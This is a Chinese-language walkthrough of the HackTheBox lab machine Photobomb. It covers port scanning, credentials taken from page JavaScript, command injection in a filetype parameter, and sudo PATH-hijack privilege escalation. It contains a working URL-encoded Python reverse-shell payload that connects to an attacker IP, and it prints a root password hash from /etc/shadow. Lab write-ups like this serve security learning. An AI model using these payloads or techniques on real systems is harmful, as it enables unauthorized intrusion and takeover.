基本信息

端口扫描
22,80:
1 | nmap -sC -sV -Pn 10.10.11.182 |
80
需要加hosts
1 | 10.10.11.182 photobomb.htb |

photobomb.htb
页面JS中可以得到账号密码:
1 | pH0t0 : b0Mb! |

登录进去可以看到很多图片:

命令注入
有一个下载图片用于打印的功能,filetype参数注入:

1 | photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.4%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)'&dimensions=3000x2000 |

user flag
得到的shell就是user:

提权信息
查看sudo,发现可运行的一个sh文件中,cp和find命令没有使用绝对路径:

所以就是普通的环境变量劫持:
- Linux Privilege Escalation - HackTricks
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-command-suid-binary-without-command-path
提权 & root flag
可以先写个公钥ssh进去方便操作,因为cd是built-in command,所以需要劫持find才会生效(一个小细节):
1 | cd /tmp |

shadow
1 | root:$6$7MU2U.CeiY0WX91P$TUNn8zNu/XUPSgURRJbzYvnnawpZdGhsWiLSpVrm1cIx9Rev7V/yQ5x58gTy98zcXrv6RqlWRtXcbhEhTl3240:19251:0:99999:7::: |
参考资料
- Linux Privilege Escalation - HackTricks
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-command-suid-binary-without-command-path - Photobomb - HTB [Discussion] | BreachForums
https://breached.to/Thread-Photobomb-HTB-Discussion - HackTheBox (HTB) Writeup: Photobomb [Easy] – meowmeowattack
https://meowmeowattack.wordpress.com/2022/10/09/hackthebox-htb-writeup-photobomb/ - Hackthebox Photobomb Writeup | 0xDedinfosec Blog
https://0xdedinfosec.vercel.app/post/hackthebox-photobomb-writeup